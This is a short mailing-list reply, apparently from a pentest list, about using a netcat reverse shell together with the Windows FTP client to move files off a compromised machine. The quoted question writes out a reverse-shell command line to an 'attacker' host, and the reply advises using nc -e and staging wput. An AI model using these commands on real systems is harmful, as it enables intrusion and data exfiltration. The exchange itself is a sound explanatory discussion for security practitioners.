Re: Netcat reverse shell and ftp

[David Howe <DaveHowe.Pentest () googlemail com>]

Avaya.Toons wrote:
> Hello all,
> Can any one show me how an intruder could ftp back to his machine
> using a reverse nc session.
> The ftp server back in the attacker machine needs authentication.
>
> attacker>nc -L -P 23
>
> victim>cmd | nc attacker 23

He wouldn't.
The reverse NC session would be to link a cmd.exe shell on the
compromised machine to a waiting "listen" session on the attacker's.

The attacker would then launch and use the standard microsoft ftp
command line client for the actual transfer, by typing commands into the
cmd.exe shell now linked to his nc "session" on the machine connected to.

you wouldn't pipe cmd.exe to the nc though, you would run it up with -e
so you get full two-way comms.

for that matter though - if you are able to get nc onto the target
machine and run arbitrary commands, it would probably be easier to put
wput or something on the machine and use that.